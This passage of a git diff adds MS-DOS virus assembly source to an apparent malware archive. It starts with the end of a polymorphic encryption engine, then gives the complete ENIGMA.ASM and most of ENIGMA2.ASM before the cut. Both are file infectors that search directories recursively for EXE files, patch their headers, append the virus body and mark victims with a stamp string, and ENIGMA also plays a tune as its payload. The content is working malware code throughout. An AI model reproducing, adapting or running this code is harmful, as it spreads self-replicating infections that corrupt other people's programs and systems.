pop ax + jz get_reg_loop +get_reg_exit: retn + +;=====( Restore register to pool )===========================================; + +del_reg: push ax + cbw + call conv_num ; convert to bit number + or bp,ax ; restore register + pop ax + retn + +;=====( convert number to bit map )==========================================; + +conv_num: push cx + mov cl,al + mov al,1 + shl al,cl + pop cx + retn + +;=====( randomize order of BX/CX/DX/SI, then call )==========================; + +order: call garble + mov ax,2 + call random + xchg cx,ax + inc cx +order_loop: call boolean + jnz order1 + xchg bx,ax +order1: call boolean + jnz order2 + xchg dx,ax +order2: call boolean + jnz order3 + xchg si,ax +order3: loop order_loop + push si dx bx ax +order_ret: retn + +;=====( return random number between 0 and ffff in bx )======================; + +random_bx: xchg bx,ax + call random + xchg bx,ax + retn + +;=====( flip Sign bit )======================================================; + +boolean: push ax + mov ax,1 + call random + pop ax + retn + +;=====( return random number between 0 and ffff )============================; + +random_1: mov ax,-1 + +;=====( Generate random number between 0 and AX )============================; + +random: push ds bx cx dx ax + xor ax,ax + int 1ah + push cs + pop ds + in al,40h + xchg cx,ax + xchg dx,ax + mov bx,offset ran_num + xor ds:[bx],ax + rol word ptr ds:[bx],cl + xor cx,ds:[bx] + rol ax,cl + xor dx,ds:[bx] + ror dx,cl + xor ax,dx + imul dx + xor ax,dx + xor ds:[bx],ax + pop cx + xor dx,dx + inc cx + je random_ret + div cx + xchg ax,dx +random_ret: pop dx cx bx ds + or ax,ax + retn + +ran_num dw ? + +;=====( Encrypts the code/writes it/decrypts code )==========================; + +encode: mov bx,ds:handle + mov ax,0 +key = word ptr $ - 2 + mov cx,(decrypt-v_start)/2 + xor di,di +encode_break: clc + clc + clc + clc ; XCHG CX,AX XCHG CX,AX + clc + clc ; CLC ADD AX,xxxx / XOR [DI],AX + clc + clc ; XOR [DI],AX / CLC ADD AX,xxxx + inc di + inc di + loop encode_break +encode_ret = byte ptr $ + mov ah,40h + mov cx,file_size + cwd + pushf + call cs:int_21 + jc encode_flag + sub ax,cx +encode_flag: pushf + pop bp + mov word ptr ds:[si],0 +encode_flip = word ptr $ - 2 + mov byte ptr ds:write_buff[encode_ret-encode],0c3h + jmp encode +encode_end: + diff --git a/e/ENIGMA.ASM b/e/ENIGMA.ASM new file mode 100755 index 0000000..67a362c --- /dev/null +++ b/e/ENIGMA.ASM @@ -0,0 +1,1129 @@ +.MODEL SMALL +.CODE + +comment / + Good luck! + + Vladimir Botchev, CICT-BAS, december 1988 + + / + +data_area struc ;Define a pattern for working data + ;area +DS_save dw ? +ES_save dw ? +IP_save dw ? +CS_save dw ? +SS_save dw ? +filematch db '*.exe',00h ;Names for files to infect +matchall db '*.*',00h ;needed for the matching procedure +infected dw 00h ;A very useful flag +help_flag dw 00h ;These two flags are needed to +where_from_flag dw 00h ;determine if virus is free running + ;or from an infected program + ;therefore it's very important + ;that where_from_flag value + ;is set to zero at assembly time +handle dw ? +ip_old dw ? ;old instruction pointer +cs_old dw ? ;old value of code segment +ss_old dw ? +far_push dw ? +save_push dw ? +buffer1 db '\',63 dup (?) +virus_stamp db 'motherfucker' ;Very hard to obtain in + ;a random way + +buffer2 db 2b0h dup (?) +new_area db 64 dup (?) +new_data db 64 dup (?) +pointer1 dw ? +pointer2 dw ? +pointer3 dw ? +pointer4 dw ? +pointer5 dw ? +pointer6 dw ? +pointer7 dw ? +pointer8 dw ? + +data_area ends + + org 100h ;Defined for .com file as virus must + ;be able to run on itself +start: call setup_data ;This is a near call therefore it's a + ;three byte instruction.It's purpose is + ;to catch correct data area address + ;even when virus is appended to the + ;infected .exe program +adjust equ offset pgm_start ;Known offset value +pgm_start label word ; + +virussize equ 2793 + + work: mov ax,ds ;Save old DS + push cs + pop ds ;Update to needed DS value + mov si,offset buffer.DS_save ;Put old DS in a quiet place + sub si,adjust + add si,bx + mov [si],ax + + mov si,offset buffer.ES_save ;Save it because Get DTA side effects + sub si,adjust + add si,bx + mov ax,es + mov [si],ax + push cs ;Imperative because DI usage + pop es + + push bx ;It's imperative to always keep + ;this value unchanged + mov ax,2f00h ;Get DTA function call + int 21h + + mov cx,bx ;save address found + pop bx + mov si,offset buffer.pointer1 + sub si,adjust + add si,bx + mov [si],cx + add si,2 ;Locate the segment immediately above + mov ax,es + mov [si],ax + push cs + pop es + + mov di,offset buffer.buffer1 ;adjust for first search + inc di ;Jump over the '\' + sub di,adjust + add di,bx + mov dx,0000h + push bx + call search_exe + pop bx + mov si,offset buffer.where_from_flag + sub si,adjust + add si,bx + cmp word ptr [si],0000h + jnz infected_run + int 020H + +infected_run: + mov si,offset buffer.pointer1 + sub si,adjust + add si,bx + mov dx,[si] + push ds + mov ax,[si+2] + mov ds,ax + push bx + mov ax,1a00h + int 21h + pop bx + pop ds ;Restore original DTA + + mov si,offset buffer.ES_save + sub si,adjust + add si,bx + mov ax,[si] + mov es,ax ;Restore ES + + ;Here you can do whatever you want + + push bx + call mary_proc + pop bx + + + + mov si,offset buffer.IP_save + sub si,adjust + add si,bx + mov ax,[si] + mov dx,[si+2] + mov si,offset buffer.far_push ;Restore original code + sub si,adjust ;segment + add si,bx + mov cx,[si] + push ax + mov ax,cs + sub ax,cx + mov di,ax ;For stack + add dx,ax + pop ax + + mov si,offset buffer.SS_save + sub si,adjust ;Restore stack segment + add si,bx + mov cx,word ptr [si] + add cx,di + + push es + pop ds + + cli + mov ss,cx + sti + + + push dx + push ax + retf + + +search_exe PROC + + push si + push dx + call transfer_filespec ;transfer filename in another + ;working area + call find_first ;try to find a first match + jc not_here ;first match not found + call try_to_infect ;if found try to infect + ;infected != 0 if success + mov si,offset buffer.infected + sub si,adjust + add si,bx + test word ptr [si],0ffffh + jz try_next + jmp quiet_exit + +try_next: + call find_next ;If infection was not succesful + ;try once more + jc not_here + + call try_to_infect ;If match found try to infect + mov si,offset buffer.infected ;again + sub si,adjust + add si,bx + test word ptr [si],0ffffh + jz try_next + + jmp quiet_exit ;quiet exit simply jumps + ;to a return instruction +not_here: + pop dx ;If first searches are + push dx ;unsuccesful try a '*.*' match + call search_all + call find_first + jnc attribute_test ;i.e. expect probably to + ;find a subdirectory +quiet_exit: + pop dx + pop si + ret + +attribute_test: + mov si,dx ;offset of DTA + test byte ptr [si+015h],010h ;where attribute byte is to + ;be found.Try first with + ;subdirectory attribute + jne dir_found ;subdirectory found +more_tries: + call find_next ;Since the search was initiated + ;with '*.*' if this is not a + ;directory try to found one + jc quiet_exit ;No sense to search more + + test byte ptr [si+015h],010h + jz more_tries ;Search to the end +dir_found: + cmp byte ptr [si+01Eh],02Eh ;Compare with the subdirectory + ;mark '.' + jz more_tries ;looking for files no + ;subdirectories + + call dta_compute ;Valid entry, now set some DTA + ;and continue to search + push ax + mov ah,01Ah ;Set DTA function call + int 021h + pop ax + push si + mov si,offset buffer.infected + sub si,adjust + add si,bx + test word ptr [si],0ffffh + pop si + jnz quiet_exit + + jmp more_tries + + +search_exe ENDP + +dta_compute PROC + + push di ;Save some registers + push si + push ax + push bx + cld ;Up count for SI,DI pair + mov si,dx ;DTA address to SI + add si,01EH ;and add subdirectory + ;name offset + +store_loop: + lodsb + stosb + or al,al + jne store_loop ;store loop + + std + stosb + mov al,05Ch ;Put in place the path name + ;constructor + + stosb + add di,2 ;Adjust di for new searches + call search_exe ; + ;a heavily recursion + ; + pop bx ;some cleanup and exit + ; + pop ax + pop si + pop di + ret + +dta_compute ENDP + +try_to_infect PROC + + push ax + push bx + push cx + push dx + push si + push di + + push es + push bx + mov ax,2f00h ;Get DTA function call + int 21h + mov ax,bx + pop bx + mov si,offset buffer.pointer3 + sub si,adjust + add si,bx + mov [si],ax ;Offset saved + add si,2 + mov ax,es + mov [si],ax + pop es ;Segment located just above + + mov dx,offset buffer.new_data + sub dx,adjust + add dx,bx + push bx + mov ax,1a00h + int 21h ;Set DTA function call + pop bx ;It's very important to + ;save BX in all calls + + mov di,offset buffer.new_area + mov si,offset buffer.buffer1 + sub di,adjust + sub si,adjust + add di,bx + add si,bx + + cld ;Move previously found path- + ;name or filename to new + ;data area +move_path: + lodsb + stosb + or al,al + jnz move_path + std ;adjust DI to recieve + mov al,'\' ;filename. + mov cx,0040h + std ;Search backward + repne scasb + + mov si,offset buffer.pointer3 + sub si,adjust + add si,bx + mov ax,[si] + mov si,ax + add di,2 + +o_kay: + add si,001eh ;The beginning of the + ;filename... + cld ;Now move name + +move_fnm: + lodsb + stosb + or al,al + jnz move_fnm + + push dx + push bx + mov dx,offset buffer.new_area + sub dx,adjust + add dx,bx + mov ax,3d02h ;Open file with handle + ;for read/write + int 21h + pop bx + pop dx + jnc go_ahead ;In case file cannot be opened + jmp error_exit + +go_ahead: + mov si,offset buffer.handle + sub si,adjust + add si,bx + mov [si],ax ;Save handle + + push bx + mov bx,ax ;Prepare for lseek + push dx + mov cx,0000h ;Look at the end of the file + mov dx,0000h ;Offset of -12 from the end + ;of the file + mov ax,4202h ;Lseek function call + int 21h + mov cx,dx + pop dx + pop bx + jnc compute_length + jmp close_error + +compute_length: + + sub ax,000ch + sbb cx,0000h ;Exact position + + +save_offset: ; + mov si,offset buffer.pointer5 + sub si,adjust + add si,bx + mov [si],ax + add si,2 + mov [si],cx + + push bx + push dx + mov si,offset buffer.handle + sub si,adjust + add si,bx + mov bx,[si] + mov dx,ax + mov ax,4200h ;From beginning of file + int 21h ;Lseek function call + pop dx + pop bx + jnc set_buffer + jmp close_error + +set_buffer: + push bx + push dx + mov dx,offset buffer.new_data + sub dx,adjust + add dx,bx + mov si,offset buffer.handle + sub si,adjust + add si,bx + mov bx,[si] ;Load handle + mov cx,000ch + mov ax,3f00h + int 21h ;Read function call + pop dx + pop bx + jnc read_ok + jmp close_error + +read_ok: + mov si,offset buffer.virus_stamp + mov di,offset buffer.new_data + sub si,adjust + sub di,adjust + add si,bx + add di,bx + mov cx,12 ;Length of strings to + ;compare + repe cmpsb + pushf + mov si,offset buffer.infected + sub si,adjust + add si,bx + mov word ptr [si],0000h + popf + jnz infect_it + +close_error: + mov si,offset buffer.handle + sub si,adjust + add si,bx + push bx + mov bx,[si] + mov ax,3e00h ;Close file function call + int 21h + pop bx + jmp error_exit + +infect_it: + mov si,offset buffer.infected + sub si,adjust + add si,bx + mov word ptr [si],7777h + + mov si,offset buffer.where_from_flag + sub si,adjust + add si,bx + mov ax,[si] + sub si,2 + mov [si],ax ;This code effectively moves + ;where_from_flag into help_flag + + add si,2 + mov [si],5a5ah ;Ready to infect + push bx + push dx + mov si,offset buffer.handle + sub si,adjust + add si,bx + mov bx,[si] + xor cx,cx + xor dx,dx + mov ax,4200h ;From beginning of file + int 21h ;Lseek function call + pop dx + pop bx + jnc set_new_data + jmp append_ok + +set_new_data: + push bx + push dx + mov dx,offset buffer.new_data + sub dx,adjust + add dx,bx + mov si,offset buffer.handle + sub si,adjust + add si,bx + mov bx,[si] ;Load handle + mov cx,001bh ;Read formatted exe header + mov ax,3f00h + int 21h ;Read function call + pop dx + pop bx + jnc read_header + jmp append_ok + +read_header: + nop ;some code to modify header + ; + + mov si,offset buffer.pointer5 + sub si,adjust + add si,bx + mov ax,[si] + add si,2 + add ax,0ch + adc word ptr [si],0000h + sub si,2 + mov [si],ax ;This code restores original + ;filelength + + mov si,offset buffer.new_data + sub si,adjust + add si,bx + mov ax,[si] + cmp ax,5a4dh ;check for valid exe file + jz valid_exe + jmp append_ok + +valid_exe: + mov ax,[si+8] ;Load module size + xor dx,dx + shl ax,1 + rcl dx,1 + shl ax,1 + rcl dx,1 + shl ax,1 + rcl dx,1 + shl ax,1 + rcl dx,1 ;Multiply by 16 + + push ax + push dx ;Adjust new size + push cx + mov dx,virussize-896+64 + push dx + mov cx,0009h + shr dx,cl + add word ptr [si+4],dx + pop dx + and dx,01ffh + add dx,word ptr [si+2] + cmp dx,512 + jl adjust_okay + sub dx,512 + inc word ptr [si+4] +adjust_okay: + mov word ptr [si+2],dx + pop cx + pop dx + pop ax + + + push si ;This SI is very useful so save it + + mov si,offset buffer.pointer5 + sub si,adjust + add si,bx + sub [si],ax + mov ax,[si] + sbb [si+2],dx + mov dx,[si+2] ;the byte size of the load module + + + pop si + push ax + push dx + mov ax,[si+14h] + mov dx,[si+16h] ;Get CS:IP value + mov cx,[si+0eh] ;Get SS value + push si + mov si,offset buffer.IP_save + sub si,adjust + add si,bx + xchg [si],ax + xchg [si+2],dx + mov si,offset buffer.SS_save + sub si,adjust + add si,bx + xchg [si],cx + mov si,offset buffer.ip_old + sub si,adjust + add si,bx + mov [si],ax + mov [si+2],dx + mov si,offset buffer.ss_old + sub si,adjust + add si,bx + mov [si],cx + pop si + pop dx + pop ax + + push ax + push dx + + shl ax,1 + rcl dx,1 + shl ax,1 + rcl dx,1 + shl ax,1 + rcl dx,1 + shl ax,1 + rcl dx,1 ;Multiply by 16 + + mov cx,0008h + shl dx,cl + mov cx,0004h + shr ax,cl ;A very obscure algorithm to make + ;a segment:offset pair + mov [si+14h],ax + mov [si+16h],dx ;Infected values + + push si + mov si,offset buffer.far_push + sub si,adjust + add si,bx + xchg [si],dx + mov word ptr [si+2],dx + pop si + + pop dx + pop ax + add ax,virussize ; + adc dx,0000h + + mov cx,0003h +mul_loop: + + shl ax,1 + rcl dx,1 + shl ax,1 + rcl dx,1 + shl ax,1 + rcl dx,1 + shl ax,1 + rcl dx,1 ;Multiply by 4096 + loop mul_loop + + or ax,ax + jz exact_value + inc dx +exact_value: + mov [si+0eh],dx ;Infected stack segment + + ;Write back infected header + push si + push bx + mov si,offset buffer.handle + sub si,adjust + add si,bx + mov bx,[si] + mov ax,5700h ;Get time function + int 21h + pop bx + pop si + jnc correct_time + jmp append_ok1 + +correct_time: + push cx + push bx + push dx + mov si,offset buffer.handle + sub si,adjust + add si,bx + mov bx,[si] + xor cx,cx + xor dx,dx + mov ax,4200h ;From beginning of file + int 21h ;Lseek function call + pop dx + pop bx + pop cx + jnc continue_infection + jmp append_ok1 + +continue_infection: + + push cx + push dx + push bx + mov dx,offset buffer.new_data + sub dx,adjust + add dx,bx + mov si,offset buffer.handle + sub si,adjust + add si,bx + mov bx,[si] ;Load handle + mov cx,001bh ;Write infected exe header + mov ax,4000h + int 21h ;Write function call + pop bx + pop dx + pop cx + jnc glue_virus + jmp append_ok1 + +glue_virus: + + push cx + push bx + push dx + mov si,offset buffer.handle + sub si,adjust + add si,bx + mov bx,[si] + xor cx,cx + xor dx,dx + mov ax,4202h ;From the end of file + int 21h ;Lseek function call + pop dx + pop bx + pop cx + jnc write_data + jmp append_ok1 + +write_data: + + mov si,offset buffer.handle + sub si,adjust + add si,bx + + push dx + push cx + + mov dx,bx + sub dx,3 ;The starting three byte + ;call instruction + push es + push bx + push dx + push si + mov ax,2f00h + int 21h + pop si + pop dx + + push es + push bx + + push si + mov ax,1a00h + int 21h + pop si + + + mov bx,[si] ;Load handle + mov cx,virussize-896+64 ;Length of virus obtained + mov ax,4000h ;with dir + int 21h + lahf ;Write function call + + pop bx + pop es + + push ds + push es + pop ds + mov dx,bx + push ax + mov ax,1a00h + int 21h + pop ax + + pop ds + pop bx + pop es + + pop cx + pop dx + + sahf + jnc put_stamp ;Error or not file + jmp append_ok1 ;is closed + +put_stamp: + push bx + mov si,offset buffer.handle + sub si,adjust + add si,bx + mov bx,[si] + mov ax,5701h ;Set time function + int 21h + pop bx + +append_ok1: + + mov si,offset buffer.ip_old ;Restore previous CS:IP values + sub si,adjust + add si,bx + mov ax,[si] + mov dx,[si+2] + mov si,offset buffer.IP_save + sub si,adjust + add si,bx + mov [si],ax + mov [si+2],dx + + mov si,offset buffer.save_push + sub si,adjust + add si,bx + mov ax,[si] + mov word ptr [si-2],ax + + mov si,offset buffer.ss_old + sub si,adjust + add si,bx + mov ax,[si] + mov si,offset buffer.SS_save + sub si,adjust + add si,bx + mov word ptr [si],ax + + +append_ok: + mov si,offset buffer.help_flag + sub si,adjust + add si,bx + mov ax,[si] + add si,2 + mov [si],ax ;This code effectively moves + ;help_flag into where_from_flag + + + jmp close_error ; + +error_exit: + mov si,offset buffer.pointer3 + sub si,adjust + add si,bx + mov dx,[si] ;Restore original DTA + add si,2 + mov ax,[si] + push ds + mov ds,ax + mov ax,1a00h ;Set DTA function call + int 21h + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + ret + +try_to_infect ENDP + +transfer_filespec PROC + + push si + mov si,offset buffer.filematch ;Transfer name to the working + ;area + sub si,adjust + add si,bx + call byte_move + pop si + ret + +transfer_filespec ENDP + +search_all PROC + + push si + mov si,offset buffer.matchall ;This is the '*.*' filename + sub si,adjust + add si,bx + call byte_move + pop si + ret + +search_all ENDP + +byte_move PROC + + push ax + push di + + cld + +move_loop: + lodsb + stosb + or al,al ;The string to move is ASCIIZ + jne move_loop + pop di + pop ax + ret + +byte_move ENDP + +find_first PROC + + push cx + push bx + cmp dx,0000h + jnbe over_set + mov dx,offset buffer.buffer2 ;Set Data Transfer Area + sub dx,adjust ;or Disk Transfer area + add dx,bx ; +over_set: + add dx,02Bh + mov cx,00010h ;Attribute byte for + ;directory search + mov ah,01ah + int 021h ;Set DTA function call + + pop bx + push bx + push dx + mov dx,offset buffer.buffer1 + sub dx,adjust + add dx,bx + mov ah,04eh ;find first + ;function call + int 021h + pop dx + pop bx + pop cx + ret + +find_first ENDP + +find_next PROC + + push cx + push bx + push dx + mov dx,offset buffer.buffer1 + sub dx,adjust + add dx,bx + mov cx,00010h + mov ah,04fh ;Find next function call + int 021h + pop dx + pop bx + pop cx + ret + +find_next ENDP + +delay PROC + + push ax + push bx + push cx + push dx + mov ah,2ch ;Read current time + int 21h + + mov ah,ch + add al,cl + add bh,dh + add bl,dl + + cmp bl,100 + jb secs + sub bl,100 + inc bh +secs: cmp bh,60 + jb mins + sub bh,60 + inc al +mins: cmp al,60 + jb hours + sub al,60 + inc ah +hours: cmp ah,24 + jne tcheck + sub ah,ah + +tcheck: push ax + mov ah,2ch + int 21h + + pop ax + cmp cx,ax + ja tdquit + jb tcheck + cmp dx,bx + jb tcheck + +tdquit: pop dx + pop cx + pop bx + pop ax + ret + +delay ENDP + +sound PROC + + push ax + push cx + push dx + push di + + mov al,0b6h + out 43h,al + mov dx,14h + mov ax,533h*896 + div di + out 42h,al + mov al,ah + out 42h,al + in al,61h + mov ah,al + or al,3 + out 61h,al + mov al,cl + call delay + mov al,ah + out 61h,al + pop di + pop dx + pop cx + pop ax + ret + +sound ENDP + +music_play PROC + + push bx + push cx + push di + push si + push bp + +freq: + + mov di,[si] + cmp di,0ffffh + je end_play + mov bl,ds:[bp] + sub cl,cl + sub bh,bh + call sound + add si,2 + inc bp + jnz freq + +end_play: + pop bp + pop si + pop di + pop cx + pop bx + ret + +music_play ENDP + +mary_proc PROC + + push bx + push bp + + mov si,offset mary_freq + mov bp,offset mary_time + sub si,adjust + sub bp,adjust + add si,bx + add bp,bx + call music_play + + pop bp + pop bx + ret + +mary_proc ENDP + +mary_freq dw 262,262,293,329,262,329,293,196 + dw 262,262,293,329,262,262 + dw 262,262,293,329,349,329,293,262 + dw 246,196,220,246,262,262 + dw 220,246,220,174,220,246,262,220 + dw 196,220,196,174,164,174,196 + dw 220,246,220,174,220,246,262,220 + dw 196,262,246,293,262,262,0ffffh + + +mary_time db 8 dup(25) + db 4 dup(25), 50, 50 + db 8 dup(25) + db 4 dup(25), 50, 50 + db 26, 25, 26, 5 dup(25) + db 26, 25, 26, 3 dup(25), 30 + db 26, 25, 26, 4 dup(25), 30 + db 4 dup(25), 50, 50 + + + +setup_data: + cli + pop bx ;This will catch instruction pointer + push bx + sti ;value and after that restore stack + ret ;pointer value + + +buffer data_area <> ;Reseve data_area space + + + END start \ No newline at end of file diff --git a/e/ENIGMA2.ASM b/e/ENIGMA2.ASM new file mode 100755 index 0000000..12de7ad --- /dev/null +++ b/e/ENIGMA2.ASM @@ -0,0 +1,979 @@ +code segment +assume cs:code + +;A stripped down Enigma. + +data_area struc ;Define a pattern for working data + ;area +DS_save dw ? +ES_save dw ? +IP_save dw ? +CS_save dw ? +SS_save dw ? +filematch db '*.exe',00h ;Names for files to infect +matchall db '*.*',00h ;needed for the matching procedure +infected dw 00h ;A very useful flag +help_flag dw 00h ;These two flags are needed to +where_from_flag dw 00h ;determine if virus is free running + ;or from an infected program + ;therefore it's very important + ;that where_from_flag value + ;is set to zero at assembly time +handle dw ? +ip_old dw ? ;old instruction pointer +cs_old dw ? ;old value of code segment +ss_old dw ? +far_push dw ? +save_push dw ? +buffer1 db '\',63 dup (?) +virus_stamp db 'Vote Clinton' ;Very hard to obtain in + ;a random way + +question db 'Press any key to continue...$' +buffer2 db 2b0h dup (?) +new_area db 64 dup (?) +new_data db 64 dup (?) +pointer1 dw ? +pointer2 dw ? +pointer3 dw ? +pointer4 dw ? +pointer5 dw ? +pointer6 dw ? +pointer7 dw ? +pointer8 dw ? + +data_area ends + + org 100h ;Defined for .com file as virus must + ;be able to run on itself +start: call setup_data ;This is a near call therefore it's a + ;three byte instruction.It's purpose is + ;to catch correct data area address + ;even when virus is appended to the + ;infected .exe program +adjust equ offset pgm_start ;Known offset value +pgm_start label word ; + +virussize equ 2793 + + work: mov ax,ds ;Save old DS + push cs + pop ds ;Update to needed DS value + mov si,offset buffer.DS_save ;Put old DS in a quiet place + sub si,adjust + add si,bx + mov [si],ax + + mov si,offset buffer.ES_save ;Save it because Get DTA side effects + sub si,adjust + add si,bx + mov ax,es + mov [si],ax + push cs ;Imperative because DI usage + pop es + + push bx ;It's imperative to always keep + ;this value unchanged + mov ax,2f00h ;Get DTA function call + int 21h + + mov cx,bx ;save address found + pop bx + mov si,offset buffer.pointer1 + sub si,adjust + add si,bx + mov [si],cx + add si,2 ;Locate the segment immediately above + mov ax,es + mov [si],ax + push cs + pop es + + mov di,offset buffer.buffer1 ;adjust for first search + inc di ;Jump over the '\' + sub di,adjust + add di,bx + mov dx,0000h + push bx + call search_exe + pop bx + mov si,offset buffer.where_from_flag + sub si,adjust + add si,bx + cmp word ptr [si],0000h + jnz infected_run + int 020H + +infected_run: + mov si,offset buffer.pointer1 + sub si,adjust + add si,bx + mov dx,[si] + push ds + mov ax,[si+2] + mov ds,ax + push bx + mov ax,1a00h + int 21h + pop bx + pop ds ;Restore original DTA + + mov si,offset buffer.ES_save + sub si,adjust + add si,bx + mov ax,[si] + mov es,ax ;Restore ES + + call ask_question + + mov si,offset buffer.IP_save + sub si,adjust + add si,bx + mov ax,[si] + mov dx,[si+2] + mov si,offset buffer.far_push ;Restore original code + sub si,adjust ;segment + add si,bx + mov cx,[si] + push ax + mov ax,cs + sub ax,cx + mov di,ax ;For stack + add dx,ax + pop ax + + mov si,offset buffer.SS_save + sub si,adjust ;Restore stack segment + add si,bx + mov cx,word ptr [si] + add cx,di + + push es + pop ds + + cli + mov ss,cx + sti + + + push dx + push ax + ret far + + +search_exe PROC + + push si + push dx + call transfer_filespec ;transfer filename in another + ;working area + call find_first ;try to find a first match + jc not_here ;first match not found + call try_to_infect ;if found try to infect + ;infected != 0 if success + mov si,offset buffer.infected + sub si,adjust + add si,bx + test word ptr [si],0ffffh + jz try_next + jmp quiet_exit + +try_next: + call find_next ;If infection was not succesful + ;try once more + jc not_here + + call try_to_infect ;If match found try to infect + mov si,offset buffer.infected ;again + sub si,adjust + add si,bx + test word ptr [si],0ffffh + jz try_next + + jmp quiet_exit ;quiet exit simply jumps + ;to a return instruction +not_here: + pop dx ;If first searches are + push dx ;unsuccesful try a '*.*' match + call search_all + call find_first + jnc attribute_test ;i.e. expect probably to + ;find a subdirectory +quiet_exit: + pop dx + pop si + ret + +attribute_test: + mov si,dx ;offset of DTA + test byte ptr [si+015h],010h ;where attribute byte is to + ;be found.Try first with + ;subdirectory attribute + jne dir_found ;subdirectory found +more_tries: + call find_next ;Since the search was initiated + ;with '*.*' if this is not a + ;directory try to found one + jc quiet_exit ;No sense to search more + + test byte ptr [si+015h],010h + jz more_tries ;Search to the end +dir_found: + cmp byte ptr [si+01Eh],02Eh ;Compare with the subdirectory + ;mark '.' + jz more_tries ;looking for files no + ;subdirectories + + call dta_compute ;Valid entry, now set some DTA + ;and continue to search + push ax + mov ah,01Ah ;Set DTA function call + int 021h + pop ax + push si + mov si,offset buffer.infected + sub si,adjust + add si,bx + test word ptr [si],0ffffh + pop si + jnz quiet_exit + + jmp more_tries + + +search_exe ENDP + +dta_compute PROC + + push di ;Save some registers + push si + push ax + push bx + cld ;Up count for SI,DI pair + mov si,dx ;DTA address to SI + add si,01EH ;and add subdirectory + ;name offset + +store_loop: + lodsb + stosb + or al,al + jne store_loop ;store loop + + std + stosb + mov al,05Ch ;Put in place the path name + ;constructor + + stosb + add di,2 ;Adjust di for new searches + call search_exe ; + ;a heavily recursion + ; + pop bx ;some cleanup and exit + ; + pop ax + pop si + pop di + ret + +dta_compute ENDP + +try_to_infect PROC + + push ax + push bx + push cx + push dx + push si + push di + + push es + push bx + mov ax,2f00h ;Get DTA function call + int 21h + mov ax,bx + pop bx + mov si,offset buffer.pointer3 + sub si,adjust + add si,bx + mov [si],ax ;Offset saved + add si,2 + mov ax,es + mov [si],ax + pop es ;Segment located just above + + mov dx,offset buffer.new_data + sub dx,adjust + add dx,bx + push bx + mov ax,1a00h + int 21h ;Set DTA function call + pop bx ;It's very important to + ;save BX in all calls + + mov di,offset buffer.new_area + mov si,offset buffer.buffer1 + sub di,adjust + sub si,adjust + add di,bx + add si,bx + + cld ;Move previously found path- + ;name or filename to new + ;data area +move_path: + lodsb + stosb + or al,al + jnz move_path + std ;adjust DI to recieve + mov al,'\' ;filename. + mov cx,0040h + std ;Search backward + repne scasb + + mov si,offset buffer.pointer3 + sub si,adjust + add si,bx + mov ax,[si] + mov si,ax + add di,2 + +o_kay: + add si,001eh ;The beginning of the + ;filename... + cld ;Now move name + +move_fnm: + lodsb + stosb + or al,al + jnz move_fnm + + push dx + push bx + mov dx,offset buffer.new_area + sub dx,adjust + add dx,bx + mov ax,3d02h ;Open file with handle + ;for read/write + int 21h + pop bx + pop dx + jnc go_ahead ;In case file cannot be opened + jmp error_exit + +go_ahead: + mov si,offset buffer.handle + sub si,adjust + add si,bx + mov [si],ax ;Save handle + + push bx + mov bx,ax ;Prepare for lseek + push dx + mov cx,0000h ;Look at the end of the file + mov dx,0000h ;Offset of -12 from the end + ;of the file + mov ax,4202h ;Lseek function call + int 21h + mov cx,dx + pop dx + pop bx + jnc compute_length + jmp close_error + +compute_length: + + sub ax,000ch + sbb cx,0000h ;Exact position + + +save_offset: ; + mov si,offset buffer.pointer5 + sub si,adjust + add si,bx + mov [si],ax + add si,2 + mov [si],cx + + push bx + push dx + mov si,offset buffer.handle + sub si,adjust + add si,bx + mov bx,[si] + mov dx,ax + mov ax,4200h ;From beginning of file + int 21h ;Lseek function call + pop dx + pop bx + jnc set_buffer + jmp close_error + +set_buffer: + push bx + push dx + mov dx,offset buffer.new_data + sub dx,adjust + add dx,bx + mov si,offset buffer.handle + sub si,adjust + add si,bx + mov bx,[si] ;Load handle + mov cx,000ch + mov ax,3f00h + int 21h ;Read function call + pop dx + pop bx + jnc read_ok + jmp close_error + +read_ok: + mov si,offset buffer.virus_stamp + mov di,offset buffer.new_data + sub si,adjust + sub di,adjust + add si,bx + add di,bx + mov cx,12 ;Length of strings to + ;compare + repe cmpsb + pushf + mov si,offset buffer.infected + sub si,adjust + add si,bx + mov word ptr [si],0000h + popf + jnz infect_it + +close_error: + mov si,offset buffer.handle + sub si,adjust + add si,bx + push bx + mov bx,[si] + mov ax,3e00h ;Close file function call + int 21h + pop bx + jmp error_exit + +infect_it: + mov si,offset buffer.infected + sub si,adjust + add si,bx + mov word ptr [si],7777h + + mov si,offset buffer.where_from_flag + sub si,adjust + add si,bx + mov ax,[si] + sub si,2 + mov [si],ax ;This code effectively moves + ;where_from_flag into help_flag + + add si,2 + mov [si],5a5ah ;Ready to infect + push bx + push dx + mov si,offset buffer.handle + sub si,adjust + add si,bx + mov bx,[si] + xor cx,cx + xor dx,dx + mov ax,4200h ;From beginning of file + int 21h ;Lseek function call + pop dx + pop bx + jnc set_new_data + jmp append_ok + +set_new_data: + push bx + push dx + mov dx,offset buffer.new_data + sub dx,adjust + add dx,bx + mov si,offset buffer.handle + sub si,adjust + add si,bx + mov bx,[si] ;Load handle + mov cx,001bh ;Read formatted exe header + mov ax,3f00h + int 21h ;Read function call + pop dx + pop bx + jnc read_header + jmp append_ok + +read_header: + nop ;some code to modify header + ; + + mov si,offset buffer.pointer5 + sub si,adjust + add si,bx + mov ax,[si] + add si,2 + add ax,0ch + adc word ptr [si],0000h + sub si,2 + mov [si],ax ;This code restores original + ;filelength + + mov si,offset buffer.new_data + sub si,adjust + add si,bx + mov ax,[si] + cmp ax,5a4dh ;check for valid exe file + jz valid_exe + jmp append_ok + +valid_exe: + mov ax,[si+8] ;Load module size + xor dx,dx + shl ax,1 + rcl dx,1 + shl ax,1 + rcl dx,1 + shl ax,1 + rcl dx,1 + shl ax,1 + rcl dx,1 ;Multiply by 16 + + push ax + push dx ;Adjust new size + push cx + mov dx,virussize-896+64 + push dx + mov cx,0009h + shr dx,cl + add word ptr [si+4],dx + pop dx + and dx,01ffh + add dx,word ptr [si+2] + cmp dx,512 + jl adjust_okay + sub dx,512 + inc word ptr [si+4] +adjust_okay: + mov word ptr [si+2],dx + pop cx + pop dx + pop ax + + + push si ;This SI is very useful so save it + + mov si,offset buffer.pointer5 + sub si,adjust + add si,bx + sub [si],ax + mov ax,[si] + sbb [si+2],dx + mov dx,[si+2] ;the byte size of the load module + + + pop si + push ax + push dx + mov ax,[si+14h] + mov dx,[si+16h] ;Get CS:IP value + mov cx,[si+0eh] ;Get SS value + push si + mov si,offset buffer.IP_save + sub si,adjust + add si,bx + xchg [si],ax + xchg [si+2],dx + mov si,offset buffer.SS_save + sub si,adjust + add 